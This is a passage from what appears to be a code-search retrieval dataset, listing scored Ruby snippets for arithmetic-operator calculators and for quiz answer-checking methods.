"text": "def unit_arithmetic(operator,second_operand)\n raise ArgumentError, \"operator has to be '+' or '-'\" unless [\"+\",\"-\"].include? operator\n unless self.compatible? second_operand\n raise ArgumentError, \"first operand (#{self}) must be compatible with second operand (#{second_operand}) in order to perform #{operator}.\"\n end\n \n first_value = self.convert_to(\"base\").value\n second_value = second_operand.convert_to(self.unit)\n result = first_value.send(operator,second_value)\n return self.class.new(result,self.unit)\n end",
"title": ""
},
{
"docid": "d9c1b75a67aebe218d417930c9012916",
"score": "0.5918761",
"text": "def operators\n {\n \"+\" => -> {@num1 + @num2},\n \"-\" => -> {@num1 - @num2}\n }\n end",
"title": ""
},
{
"docid": "524792aa06f17813758636bed4bb0a45",
"score": "0.5913809",
"text": "def basic_op(operator, value1, value2)\n value1.send(operator.value2)\nend",
"title": ""
},
{
"docid": "b10e808a3cb98e3ce2a5cc2ed62194fa",
"score": "0.5899425",
"text": "def minus\n\t\tif @operands.size>= 2\n\t\t\tnew_n = (@operands[-2] - @operands[-1])\n\t\t\t@operands.pop(2)\n\t\t\t@operands.push new_n\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d1c7d923d921aeb27083c57aa2ceae7d",
"score": "0.5893841",
"text": "def basic_operation(a, b, type)\n case type\n when 1\n puts \"Answer: #{a + b}\"\n when 2\n puts \"Answer: #{a - b}\"\n when 3\n puts \"Answer: #{a * b}\"\n when 4\n puts \"Answer: #{a / b}\"\n end\nend",
"title": ""
},
{
"docid": "0e6c45ef14417e16b16aac860d51f0dd",
"score": "0.5889892",
"text": "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n\n value = nil\n\n\n a = nil\n b = nil\n\n\n begin\n # at line 9:28: a= mul ( ADD b= mul | SUB b= mul )*\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_44 )\n a = mul\n @state.following.pop\n # at line 9:33: ( ADD b= mul | SUB b= mul )*\n while true # decision 1\n alt_1 = 3\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == ADD )\n alt_1 = 1\n elsif ( look_1_0 == SUB )\n alt_1 = 2\n\n end\n case alt_1\n when 1\n # at line 10:5: ADD b= mul\n match( ADD, TOKENS_FOLLOWING_ADD_IN_expression_51 )\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_55 )\n b = mul\n @state.following.pop\n\n # --> action\n a += b \n # <-- action\n\n\n when 2\n # at line 11:5: SUB b= mul\n match( SUB, TOKENS_FOLLOWING_SUB_IN_expression_63 )\n @state.following.push( TOKENS_FOLLOWING_mul_IN_expression_67 )\n b = mul\n @state.following.pop\n\n # --> action\n a -= b \n # <-- action\n\n\n else\n break # out of loop for decision 1\n end\n end # loop for decision 1\n\n\n # --> action\n value = a \n # <-- action\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n\n end\n\n return value\n end",
"title": ""
},
{
"docid": "a13d1208717c336869f0e11883f54dd1",
"score": "0.5889209",
"text": "def convert_operator_to_text(op)\n case op\n when '1'\n 'add'\n when '2'\n 'subtract'\n when '3'\n 'multiply'\n when '4'\n 'divide'\n end\nend",
"title": ""
},
{
"docid": "dbfb2de4f0dcfd21aca202e254370d8e",
"score": "0.58833975",
"text": "def value(ext_call = true)\t\t\t\t\n\t\t@temp_stack = @stack.clone if ext_call\n\t\t# puts \"temp stack value from value: #{@temp_stack}\"\n\t\tcall_op = @temp_stack.pop\t\t\t\n\t\tif call_op == :+\n\t\t\tvalue = calc_plus\n\t\telsif call_op == :-\n\t\t\tvalue = calc_minus\n\t\telsif call_op == :*\n\t\t\tvalue = calc_times\n\t\telsif call_op == :/\n\t\t\tvalue = calc_divide\n\t\tend\n\t\treturn value\n\tend",
"title": ""
},
{
"docid": "82ae4a0a648577b68cf14bf8c1d06ced",
"score": "0.5871366",
"text": "def calculate number\n @left_operand = number\n\n return result()\n end",
"title": ""
},
{
"docid": "5db724ebb836a84e0695450821dc9849",
"score": "0.58691853",
"text": "def sum (operator, a, b)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n end\nend",
"title": ""
},
{
"docid": "bd88af43383b9855493705f2a405cc17",
"score": "0.5858906",
"text": "def Calculator(leftParam, rightParam, operator)\n\n case operator\n\n when \"+\"\n return leftParam + rightParam;\n when \"*\"\n\n i = 0\n result = 0\n while i < leftParam #2\n result = result + rightParam #@\n i= i + 1\n end\n\n return result\n end\nend",
"title": ""
},
{
"docid": "44bb9f78b8c11c8568ead3bfbe01a23d",
"score": "0.58490735",
"text": "def operand\n operands.first\n end",
"title": ""
},
{
"docid": "b508a4d8bf5539ed968f3e6fb08843b0",
"score": "0.5848351",
"text": "def expression\n lterm = term\n loop do\n if accept(:T_PLUS)\n lterm = Addition.new(lterm, term)\n elsif accept(:T_MINUS)\n lterm = Subtraction.new(lterm, term)\n else\n break\n end\n end\n lterm\n end",
"title": ""
},
{
"docid": "2b64307135db79e59c38ad548eed55d3",
"score": "0.5844653",
"text": "def arithmetic_proc(target)\n # Fooled you! I metaprogrammed it to save some typing!\n end",
"title": ""
},
{
"docid": "4ab711e73bf3d03349cbf646b43e02d1",
"score": "0.5841266",
"text": "def operations=(value)\n @operations = value\n end",
"title": ""
},
{
"docid": "4ab711e73bf3d03349cbf646b43e02d1",
"score": "0.5841266",
"text": "def operations=(value)\n @operations = value\n end",
"title": ""
},
{
"docid": "4ab711e73bf3d03349cbf646b43e02d1",
"score": "0.5841266",
"text": "def operations=(value)\n @operations = value\n end",
"title": ""
},
{
"docid": "4ab711e73bf3d03349cbf646b43e02d1",
"score": "0.5841266",
"text": "def operations=(value)\n @operations = value\n end",
"title": ""
},
{
"docid": "4ab711e73bf3d03349cbf646b43e02d1",
"score": "0.5841266",
"text": "def operations=(value)\n @operations = value\n end",
"title": ""
},
{
"docid": "2f4d400c90c451019ed14dfc11b602dc",
"score": "0.5832841",
"text": "def check_op (oper)\n if oper == 'add' || oper == '+'\n puts \"+ + Let's add 'em up! + +\"\n return operator = '+'\n elsif oper == 'subtract' || oper == '-'\n puts \"- - Let's subtract! - -\"\n return operator = '-'\n elsif oper == 'multiply' || oper == '*'\n puts \"* * It's time to multiply! * *\"\n return operator = '*'\n elsif oper == 'divide' || oper == '/'\n puts \"/ / Let's divide 'em up! / /\"\n return operator = '/'\n elsif oper == 'exponent' || oper == '**'\n puts \"^ ^ Let's power 'em up! ^ ^\"\n return operator = '**'\n elsif oper == 'remainder' || oper == '%'\n puts \"% % Let's find the remainder! % %\"\n return operator = '%'\n end\nend",
"title": ""
},
{
"docid": "c26077616990cede6bf4e1836f4def08",
"score": "0.5829754",
"text": "def answer\n operators[@operator].call\n end",
"title": ""
},
{
"docid": "609a08ae22585a0889c701ff293fe3b7",
"score": "0.5815477",
"text": "def calculation(a,b, operation)\n operation.call(a,b)\n end",
"title": ""
},
{
"docid": "6cbe94ae7a7a25315b1c6cbe27f184a5",
"score": "0.58122116",
"text": "def operator_value_str\n # return it real persisted value, it is just for the Budget form, for other calculations use the value method\n read_attribute(:value)\n end",
"title": ""
},
{
"docid": "66c48f3dda4fe4716a76d01b9f60b417",
"score": "0.5801487",
"text": "def operation\n parsed_operation\n end",
"title": ""
},
{
"docid": "ed3aa5b09e9840cda7a165ae01749d95",
"score": "0.58013564",
"text": "def evaluate(op, left_arg, right_arg)\n case\n when op == '+' then return left_arg + right_arg\n when op == '-' then return left_arg - right_arg\n when op == '*' then return left_arg * right_arg\n when op == '/' then return left_arg / right_arg\n when op == '%' then return left_arg % right_arg\n end\nend",
"title": ""
},
{
"docid": "e767e99d6f86418c84407cdb560a7bd9",
"score": "0.5798148",
"text": "def calculate(operator, num1, num2)\n # Use case when to invoke each method\n case operator\n when \"add\", \"+\"\n puts \"#{num1} + #{num2} = #{add(num1, num2)}\"\n # Do I need a return here\n when \"subtract\", \"-\"\n puts \"#{num1} - #{num2} = #{subtract(num1, num2)}\"\n when \"multiply\", \"*\"\n puts \"#{num1} * #{num2} = #{multiply(num1, num2)}\"\n when \"divide\", \"/\"\n puts \"#{num1} / #{num2} = #{divide(num1, num2)}\"\n when \"modulo\", \"%\"\n puts \"#{num1} % #{num2} = #{mod(num1, num2)}\"\n when \"exponify\", \"**\"\n puts \"#{num1}^#{num2} = #{exponify(num1, num2)}\"\n end\nend",
"title": ""
},
{
"docid": "d07aa3fcd738fc542b8e715569d3dec3",
"score": "0.57965493",
"text": "def visit_Squeel_Nodes_Operation(o, parent)\n args = o.args.map do |arg|\n case arg\n when Nodes::Function, Nodes::KeyPath, Nodes::As, Nodes::Literal\n visit(arg, parent)\n when Symbol, Nodes::Stub\n Arel.sql(arel_visitor.accept contextualize(parent)[arg.to_sym])\n else\n quote arg\n end\n end\n\n op = case o.operator\n when :+\n Arel::Nodes::Addition.new(args[0], args[1])\n when :-\n Arel::Nodes::Subtraction.new(args[0], args[1])\n when :*\n Arel::Nodes::Multiplication.new(args[0], args[1])\n when :/\n Arel::Nodes::Division.new(args[0], args[1])\n else\n Arel.sql(\"#{arel_visitor.accept(args[0])} #{o.operator} #{arel_visitor.accept(args[1])}\")\n end\n o.alias ? op.as(o.alias) : op\n end",
"title": ""
},
{
"docid": "a13724f864bf9b208a5d326169e45797",
"score": "0.57930183",
"text": "def evaluate\n case @op\n when 'println'\n v = @args[0]\n v = v.evaluate if v.is_a?(AST)\n puts v\n when '+'\n sum = 0\n @args.each do |x|\n x = x.evaluate if x.is_a?(AST)\n sum += x\n end\n return sum\n when '-'\n diff = @args[0]\n diff = diff.evaluate if diff.is_a?(AST)\n args_tail = @args.slice(1, args.length-1)\n args_tail.each do |x|\n x = x.evaluate if x.is_a?(AST)\n diff -= x\n end\n return diff\n when '*'\n prod = 1\n @args.each do |x|\n x = x.evaluate if x.is_a?(AST)\n prod *= x\n end\n return prod\n else\n raise \"Unrecognized op '#{@op}'\"\n end\n end",
"title": ""
},
{
"docid": "c82fff8dbdc4f0f3a47a0aa9d44d7ddc",
"score": "0.57894045",
"text": "def input_process (*args)\n if(args.size == 1)\n input = args[0]\n operation = input.initial\n elsif(args.size == 2)\n input = args[1]\n operation = input[0]\n else\n return\n end\n \n total = get_numbers(input, operation)\n\n if operation == \"+\"\n $totalvalue += addition(*total)\n elsif operation == \"-\"\n $totalvalue += subtraction(*total)\n elsif operation == \"*\"\n $totalvalue = multiplication($totalvalue, *total)\n elsif operation == \"/\"\n $totalvalue = division($totalvalue, *total)\n end\n total.clear\nend",
"title": ""
}
] |
233fc7f12f4532654f7dfd48b31b2eb1
|
returns a string telling the user if their answer was correct returns a String
|
[
{
"docid": "573fe43bf6ef626660253659eab8bfed",
"score": "0.8238532",
"text": "def tell_user_if_they_are_correct\n if correct_answer?\n \"You got the right answer!\"\n else\n \"Your answer was incorrect.\"\n end\n end",
"title": ""
}
] |
[
{
"docid": "dbd90b2f112c5607c1ef2328d89b14b0",
"score": "0.7978411",
"text": "def check_answer\n\tanswer = gets.chomp\n\tif(answer != \"yes\" && answer != \"no\")\n\t\tabort(\"Not a correct response.\")\n\telsif (answer == \"yes\")\n\t\treturn \"1\"\n\telsif (answer == \"no\")\n\t\treturn \"2\"\n\tend\nend",
"title": ""
},
{
"docid": "1763060aa3839767f2090ff6b6337da6",
"score": "0.7901777",
"text": "def correct_answer_text\n return \"(no correct answer, question invalid)\" unless question_valid\n choices[answer.to_i]\n end",
"title": ""
},
{
"docid": "ab85b76c6f3ea6360015165ba42594fc",
"score": "0.77291536",
"text": "def check_answer(guess,correct)\n\tif guess == correct\n\t\treturn \"Correct!\"\n\telse\n\t\treturn \"Sorry!\"\n\tend\t\nend",
"title": ""
},
{
"docid": "9dceea437f40128a1c2b89f031749a1d",
"score": "0.7618543",
"text": "def verifiy_answer\n @answer == @correct ? correct_answer : wrong_answer\n end",
"title": ""
},
{
"docid": "a97e4acce1e66d270cb008c2acc23fe1",
"score": "0.7609063",
"text": "def feedback\n if correct? == true\n \"Correct!\"\n else\n \"Incorrect\"\n end\n end",
"title": ""
},
{
"docid": "4dfffcb3fd6572974f7a8b559f737df4",
"score": "0.7517637",
"text": "def answer_correct?(user_answer)\n if user_answer == correct_answer\n puts \"correct!\".color(:green)\n return true\n else\n puts \"incorrect!\".color(:red)\n return false\n end\n end",
"title": ""
},
{
"docid": "6efdb86a14b1823d4c9b793c34761d44",
"score": "0.7487721",
"text": "def output_check(computed_answer, right_answer)\n message = \"-- Answer Correct: #{(computed_answer==right_answer) ? 'YES' : 'NO'}, Expected: #{right_answer.inspect}, Got: #{computed_answer.inspect}\"\n puts message\n return message\n end",
"title": ""
},
{
"docid": "293f5cd79bf839138ed7f77a90f991ca",
"score": "0.7459285",
"text": "def answered_correctly?\n player_answer = gets.chomp.to_i\n @correct_answer === player_answer\n end",
"title": ""
},
{
"docid": "6614aa59a82c3d1ddd7fb608ab9e93ad",
"score": "0.7457463",
"text": "def feedback\n if correct? \n \"Correct!\"\n else\n \"Incorrect.\"\n end\n end",
"title": ""
},
{
"docid": "1f8fb17e2165982c45dfb4419286f137",
"score": "0.74547154",
"text": "def ask\n puts \"\"\n puts \"Question ##{number}\" ##Put question number\n puts \"#{question}\" ##ask question\n puts \"#{answers}\" ##display possible answers\n user_answer = gets.chomp.to_s ##ask user for answer\n if user_answer.upcase == correct_answer ##Check to see if submitted answer is correct\n puts \"Correct\".green ##Congrats!\n $score = $score + 1 ##Add one\n else\n puts \"Incorrect\".yellow##Booo\n puts \"#{explain}\".green\n end\n end",
"title": ""
},
{
"docid": "aa2db818ef7365e1c466c0762ef2794d",
"score": "0.7452844",
"text": "def ask_question(question)\n print question.sub(/\\?$/, '') + \"? (y or n) \"\n return user_agree?\n end",
"title": ""
},
{
"docid": "33c28ae6bd5aa60a1f836a64fed65463",
"score": "0.7434015",
"text": "def feedback\n if correct?\n \"Correct!\"\n else\n \"Incorrect.\"\n end\n end",
"title": ""
},
{
"docid": "f8fd36b2f9caeabc469b7f33a9112a7b",
"score": "0.7429732",
"text": "def result(player)\n #take input from user, convert into integre\n @answer = gets.chomp.to_i\n \n # check if sum is correct, output the message and lives\n @answer == num1 + num2 ? result = true : result = false\n if result == true\n puts \"#{player.name}: Yes! You are correct. (👍≖‿‿≖)👍 👍(≖‿‿≖👍)\".green\n player.lives\n else\n puts \"#{player.name}: Seriously? No! ( ; ̄ Д  ̄ )\".red\n player.lose\n end\n end",
"title": ""
},
{
"docid": "123f4d6f4d0c2bf082494081b754c0c6",
"score": "0.7398315",
"text": "def my_solution; correct_answer_text; end",
"title": ""
},
{
"docid": "f2f75559471f5bba442999500bceba06",
"score": "0.7339907",
"text": "def check_answer(answer)\n user_answer = self.get_text_answer(answer)\n if user_answer == self.question[:correct_answer]\n self.game.status = \"correct\"\n self.game.save\n system \"clear\"\n print YAY\n else\n self.game.status = \"incorrect\"\n self.game.save\n system \"clear\"\n print BOO\n print \"The correct answer is #{HTMLEntities.new.decode self.question[:correct_answer]}\\n\"\n end\n end",
"title": ""
},
{
"docid": "62c5f544dad6ad965beeb712fd16205a",
"score": "0.73070824",
"text": "def informCorrect(guess)\n\treturn \"Good work! There is a \" + guess + \" in your word\"\nend",
"title": ""
},
{
"docid": "f87c6d237ea602f6e94bb215170aff3f",
"score": "0.7300599",
"text": "def answer_o(answer)\n \"risposta: ok\"\n end",
"title": ""
},
{
"docid": "f8d2cd77464cbe4622c62ea190cb8492",
"score": "0.72860897",
"text": "def answer\n @question = params[:question]\n if @question == 'I am going to work'\n @answer = 'Great!'\n elsif @question.include? '?'\n @answer = 'Silly question, get dressed and go to work!'\n else\n @answer = 'I dont care, get dressed and go to work!'\n end\n end",
"title": ""
},
{
"docid": "2d8ffc29229dc2fa01e2b88efa294864",
"score": "0.7283534",
"text": "def answer\n @my_answer = params[:answer]\n\n if @my_answer.ends_with?('?')\n @coach_answer = 'Silly question, get dressed and go to work!'\n elsif @my_answer == 'I am going to work'\n @coach_answer = 'Great!'\n else\n @coach_answer = 'I don\\'t care, get dressed and go to work!'\n end\n end",
"title": ""
},
{
"docid": "573f4c3e82aa11db9d168964f378ed2a",
"score": "0.7272408",
"text": "def validate_answer (answer)\n@answer = answer\nsum = @number1 + @number2\nif answer.to_s === sum.to_s\n puts \"Yes. Your answer: #{@answer}, is correct. It is indeed #{(@number1 + @number2)}\"\n return true\nelse \n puts \"Sorry. Your answer: #{@answer}, is incorrect. It should be #{(@number1 + @number2)} \"\n return false\nend\n\nend",
"title": ""
},
{
"docid": "34be950160879e0b16d9b76118590f1e",
"score": "0.7258098",
"text": "def correct?(ans)\n @answer == ans\n end",
"title": ""
},
{
"docid": "2378c4fdbe325e188f47e409061fa820",
"score": "0.7254062",
"text": "def answer\n @question = params[:question]\n if @question == 'i am going to work right now!'\n @answer = 'Great!'\n elsif @question.end_with?('?')\n @answer = 'Silly question, get dressed and go to work!'\n else\n @answer = 'I don\\'t care, get dressed and go to work!'\n end\n end",
"title": ""
},
{
"docid": "22d7d890a5aec56d622e01fd1b9bd0dc",
"score": "0.71624106",
"text": "def check_answer(answer)\n @correct_answer == answer\n end",
"title": ""
},
{
"docid": "bb17ec60826f5360727dfac909689b36",
"score": "0.7143787",
"text": "def user_answer\n puts\n puts \"Choose the correct answer (a, b or c): \"\n print \"Your Answer:\"\n gets.chomp\n end",
"title": ""
},
{
"docid": "5472ad8f4a04855dbc1882482b59262e",
"score": "0.71254855",
"text": "def correction\n accepted? ? answer_version.text : text\n end",
"title": ""
},
{
"docid": "6ee7f30a08bfdd1db541e9f264c67f67",
"score": "0.7117429",
"text": "def correct?\n @response == \"#{card.value} of #{card.suit}\"\n end",
"title": ""
},
{
"docid": "f412188eb519d6adcc34a9108f11e143",
"score": "0.71096206",
"text": "def correct_answer?(selected_answer)\n answer == selected_answer\n end",
"title": ""
},
{
"docid": "ebdabaa88b636b78109ff3968921992f",
"score": "0.70855266",
"text": "def correct_answers\n\t\t{\n\t\t\t0 => \"California\",\n\t\t\t1 => \"Blocks light and oxygen in waterways\",\n\t\t\t2 => \"River/riparian\",\n\t\t\t3 => \"False\",\n\t\t\t4 => \"Voluntary partnership with industry and stakeholders\"\n\t\t}\n\tend",
"title": ""
},
{
"docid": "32e7865473e6649035e509e00d197c65",
"score": "0.70830905",
"text": "def ask_question\n puts \"Player #{@id}: #{@question.text}\"\n print \"> \"\n player_answer = gets.chomp.to_i\n\n # Checks to see if they answered correctly\n if (player_answer == @question.correct_answer)\n puts \"Player #{@id}: YES! You are correct!\"\n true\n else \n puts \"Player #{@id}: Seriously? No!\"\n false\n end\n end",
"title": ""
},
{
"docid": "70849b47fb86eb03307360b1d838a780",
"score": "0.7081761",
"text": "def result(correct, bad)\n puts \"Your result is: \\ncorrect: #{correct}\\nIncorrect: #{bad}\"\n end",
"title": ""
},
{
"docid": "950dfe2f4e869c76af1193f887cc5eaa",
"score": "0.7078485",
"text": "def ask question\r\n\tif (reply == 'yes' || reply == 'no')\r\n\t\treturn true\r\n\telse \r\n\t\treturn false\r\n\tend\r\nend",
"title": ""
},
{
"docid": "185a0310ed59dc332c143a508787a3af",
"score": "0.707677",
"text": "def correct?(guess)\n #Input: user guess\n #Output: true/false\n guess == @answer\n end",
"title": ""
},
{
"docid": "000c427898ee8ceca0b6fa4c07ecc969",
"score": "0.70689815",
"text": "def check_answer(text)\n return questionable.check_answer(text)\n end",
"title": ""
},
{
"docid": "d1b0db53c1a1a983c334d56737127337",
"score": "0.706465",
"text": "def yes_or_no(answer)\n if answer == \"Y\"\n puts \"Excellent! So how many rounds would you like to play?\"\n gets.chomp\n end\n end",
"title": ""
},
{
"docid": "a12098ed1b58c0d3e5d6197d8e273ea1",
"score": "0.704708",
"text": "def correct_answer\n case @turn\n when 1\n @p1_score += 100\n @turn = 2\n puts TSTAR + \"CORRECT!\".bold + BSTAR\n puts TLINE + \"#{@p1_name} +100 points\" \n puts \"\\n\\n\"\n return generate_question\n when 2\n @p2_score += 100\n @turn = 1\n puts TSTAR + \"CORRECT!\".bold + BSTAR\n puts TLINE + \"#{@p1_name} +100 points\" \n puts \"\\n\\n\"\n return generate_question\n end\n end",
"title": ""
},
{
"docid": "f9e7a066443c0be0dffd77473672f2ae",
"score": "0.704324",
"text": "def is_correct (guess)\n guess == @answer\n end",
"title": ""
},
{
"docid": "244ea127b9b3253b1b0098cf73957293",
"score": "0.70399785",
"text": "def correct?(guess)\n\t\tguess == @answer\n\tend",
"title": ""
},
{
"docid": "17c2b3ab464ecc098fec160c7bacbbb6",
"score": "0.7037225",
"text": "def ask question\n\n puts question\n reply = gets.chomp.downcase\n\n if reply == 'yes'\n return true\n elsif reply == 'no'\n return false\n else\n puts 'Please answer yes or no.'\nend\nend",
"title": ""
},
{
"docid": "d2cafc59a338821cbfc25d611cd622f5",
"score": "0.7029193",
"text": "def fill_in_1_correct?(problem, answer)\n # Before sending the answer to the query mechanism, strip out any spaces\n # before and after the actual text\n answer = Answer.find_by_problem_id_and_value(problem.id, answer[:body].strip)\n correct = answer && answer.correct?\n problem.incorrect_message = answer.incorrect_message unless correct || answer.nil?\n correct\n end",
"title": ""
},
{
"docid": "f75becade16fe0f78e63f63c0b13e1b4",
"score": "0.7004825",
"text": "def try_again?\n puts \"try again? enter 'Y' or 'N'.\"\n answer = gets.chomp.to_s\n if answer == \"Y\"\n area_codes\n else \n puts \"Have a good day!\"\n end \nend",
"title": ""
},
{
"docid": "7aad0911d4317a87a4c10ffdd34a57a1",
"score": "0.70027363",
"text": "def correct\n puts \"\\nCORRECT!\"\n ask_letter\n end",
"title": ""
},
{
"docid": "069df8a4ed1496bdbabd3cbea4135fb1",
"score": "0.69976556",
"text": "def feedback\n self.correct? == true ? 'Correct!' : 'Incorrect.'\n end",
"title": ""
},
{
"docid": "4b50619e4107eac6f49750e186bf67f6",
"score": "0.69758004",
"text": "def correct?\n\t\t@player_guess == @answer\n\tend",
"title": ""
},
{
"docid": "2a5b544c1e132aee73b38145a64c5685",
"score": "0.6924817",
"text": "def display_correct\n puts \"#{@current_player.name}, Correct Answer. You gain a point.\".green\n end",
"title": ""
},
{
"docid": "fd2a4976ffc15c8674fd0a1abf54eb39",
"score": "0.6922068",
"text": "def play_again?\n puts \"Voulez-vous refaire une partie? \\u{1F3AE}\".underline.black.on_white\n puts \"(y/n) tapez 'y' pour yes / tapez 'n' pour no\"\n answer = gets.chomp.downcase\n puts \"\\n\"\n if answer == 'y'\n return true\n elsif answer == 'n'\n return false\n else \n self.play_again?\n end\n end",
"title": ""
},
{
"docid": "e84a9ea19ddf2b0ba2551a553c83a48f",
"score": "0.6909312",
"text": "def tell_fortune?(answer)\r\n if answer.upcase == \"Y\"\r\n \"Let me begin with.... \"\r\n elsif answer.upcase == \"N\"\r\n \"it was nice meeting you, have a nice day then!\"\r\n else\r\n puts \"Please enter Y or N\"\r\n answer = $stdin.gets.chomp # to rewrite the answer\r\n tell_fortune?(answer)\r\n end\r\nend",
"title": ""
},
{
"docid": "3e68bde02bd8c0be71ad42075445bfbb",
"score": "0.6902923",
"text": "def res_is_yes(prompt='try again?')\n print prompt << ' (y/n) '\n response = gets.chomp\n response.to_s.downcase!\n response[0] == 'y'\nend",
"title": ""
},
{
"docid": "6842c363294ee937eeeb660cb3dc5b52",
"score": "0.69014215",
"text": "def answer_class(answer)\n return \"correct\" if answer.correct?\n \"incorrect\"\n end",
"title": ""
},
{
"docid": "9d41080980a85b33ddf8de5dbfb9e100",
"score": "0.689571",
"text": "def askQuestion()\n puts \"#{self.player.name}: #{self.question.question}\"\n answer = self.player.get_input()\n \n #Decrenents number of lives if answer is wrong\n if answer.to_i != self.question.solution()\n self.player.lose_life()\n puts \"#{self.player.name}: Seriously? No!\"\n else\n puts \"#{self.player.name}: YES! You are correct\"\n end\n end",
"title": ""
},
{
"docid": "564324f3bde8ce0d94cdc5ff2ace1ce9",
"score": "0.6894173",
"text": "def correct?(solution, response)\n end",
"title": ""
},
{
"docid": "63a7fb14c3fc1d5adac3022785947adc",
"score": "0.68935835",
"text": "def answer\n gets.chomp\n end",
"title": ""
},
{
"docid": "1f53aedc7c72f6b8f3f26e9f111982bf",
"score": "0.68856597",
"text": "def correct?\n @correct\n end",
"title": ""
},
{
"docid": "1beda269e216d19d67efb02a9a8a070e",
"score": "0.6882199",
"text": "def present_test(challenge)\r\n\r\n result = \"\"\r\n\r\n until result != \"\" #loops until the user enters a string\r\n Console_Screen.cls #Clear the display area\r\n print challenge + \"\\n\\n: \" #Display the challenge sentence\r\n result = STDIN.gets #Collect the player's input\r\n result.chop! #Remove the end of line marker\r\n\r\n end\r\n\r\n #Analyze the player input and see if it is correct\r\n if challenge == result then\r\n\r\n #Keep track of the number of correctly retyped challenge sentences\r\n $noRight += 1\r\n Console_Screen.cls #Clear the display area\r\n #Keep the player informed\r\n print \"Correct!\\n\\nPress Enter to continue.\"\r\n Console_Screen.pause #Pause the game\r\n\r\n else\r\n\r\n Console_Screen.cls #Clear the display area\r\n #Keep the player informed\r\n print \"Incorrect!\\n\" +\r\n challenge + \"\\n\" + #Display what the challenge sentance was\r\n result + #Display user input\r\n \"\\n\\nPress Enter to continue.\"\r\n Console_Screen.pause #Clear the game\r\n\r\n end\r\n\r\n end",
"title": ""
},
{
"docid": "fdd9fc8aba06a99a970850fb3ed4e1a4",
"score": "0.6871097",
"text": "def confirm_equation\n puts \"Is this correct? (y/n) \"\n gets.chomp.downcase\nend",
"title": ""
},
{
"docid": "97670c0b4f1898bbf796dd5031ede67d",
"score": "0.6866417",
"text": "def correct?\n if @guess.downcase == @card.answer.downcase\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "75ecb4fa1919a572aa439ef5554e2d4d",
"score": "0.686574",
"text": "def correct?\n correct == true\n end",
"title": ""
},
{
"docid": "33f58832cb5030a118d5ae6a723b7f12",
"score": "0.68540007",
"text": "def get_answer\n input = gets.chomp\n if [\"1\", '2', '3', '4'].include?(input)\n return input\n else \n scroll(\"Not a valid answer\")\n get_answer\n end\n end",
"title": ""
},
{
"docid": "d5ec450f4c94f0f0bfb1c190211da24e",
"score": "0.6849897",
"text": "def correct?\n return @response == @q.answer\n end",
"title": ""
},
{
"docid": "19a61fc17548a0fb44e1f057ae507bd8",
"score": "0.68464434",
"text": "def check_answer response, answer\n\tresponse == answer\nend",
"title": ""
},
{
"docid": "b9d46b9f085d1ef51c10e7000f44032d",
"score": "0.6841049",
"text": "def incorrect\n puts \"\\nINCORRECT.\\n\\n\"\n puts 'CORRECT ANSWER:'\n puts wrap_indent(\"'#{@question.def}'\")\n ask_letter\n end",
"title": ""
},
{
"docid": "22bb48f148936cbec1349cc2d500ad1b",
"score": "0.6839527",
"text": "def questionAnswerText(question, user=nil, short=true)\n correct = questionCorrect question\n text = questionAnswer(question, user, short)\nend",
"title": ""
},
{
"docid": "e2cedb3a1635a854a0488f473c84b290",
"score": "0.68308616",
"text": "def choose_1_correct?(problem, answer)\n answer = Answer.find_by_problem_id_and_id(problem.id, answer[:id])\n correct = answer && answer.correct?\n problem.incorrect_message = answer.incorrect_message unless correct\n correct\n end",
"title": ""
},
{
"docid": "8d4229d168eb6fd4bd3d10c81d506e6c",
"score": "0.6830658",
"text": "def correct?\n @correct\n end",
"title": ""
},
{
"docid": "8d4229d168eb6fd4bd3d10c81d506e6c",
"score": "0.6830658",
"text": "def correct?\n @correct\n end",
"title": ""
},
{
"docid": "02dcb431f451551b8ba83d0899dadf93",
"score": "0.68305653",
"text": "def correct_answers\n {\n 0 => \"A project that works collaboratively with California's nursery industry to find science-based, and non-regulatory solutions to the introduction of horticultural invasive plants.\",\n 1 => \"All of the above\",\n 2 => \"All of the above\",\n 3 => \"Recognizing and intercepting the invasive plant before it is introduced to the wild\",\n 4 => \"Chinese pistache (<em>Pistacia chinensis</em>), Giant rye (<em>Leymus condensatus</em>), and Western redbud (<em>Cercis occidentalis</em>).\",\n 5 => \"Toxic to wildlife, highly flammable, and alter soil composition.\",\n 6 => \"Agree not to sell the plants that PlantRight lists as invasive in their region.\",\n 7 => \"True\",\n 8 => \"True\",\n 9 => \"False\"\n }\n end",
"title": ""
},
{
"docid": "85486f1809f39595539ae681060e3c2a",
"score": "0.68296117",
"text": "def check_answer\n\tanswer = gets.chomp\n\tif(answer.to_i.between?(1,5) == false)\n\t\tabort(\"Not a correct response.\")\n\tend\n\treturn answer\nend",
"title": ""
},
{
"docid": "019681eebfb30d0b97ef5ddaaa61ad20",
"score": "0.6826915",
"text": "def tell_a_joke(joke_to_tell, correct_response)\n puts(joke_to_tell)\n user_input = gets.chomp\n if user_input == correct_response\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "5437ff82e0952e443b312edff15f8427",
"score": "0.6822201",
"text": "def correct_answer?\n params[\"game\"][\"choice\"] == params[\"game\"][\"answer\"]\n end",
"title": ""
},
{
"docid": "9f9413eebdaf36d6e38a2f85f18647b8",
"score": "0.6812764",
"text": "def check_answer math, player1, player2\n if (self.response.to_i == math.correct_answer)\n puts \"#{current_player}: YES! You are correct.\"\n else\n puts \"#{current_player}: Seriously? No!\"\n life_decrement player1, player2\n end\n end",
"title": ""
},
{
"docid": "c6b073ddec71b07f1def8310ac5069b6",
"score": "0.68112123",
"text": "def prompt_player_for_answer\n puts \"What is your answer?\"\n answer = gets.chomp.to_i\n validate_answer(answer)\n end",
"title": ""
},
{
"docid": "19524cad9e759ffedb4ea33b61492467",
"score": "0.6805164",
"text": "def get_answer()\n\t\tputs 'Type your anser and press enter.'\n\t\t@answer = gets\n\tend",
"title": ""
},
{
"docid": "d6375db4505765455496d833a25226f3",
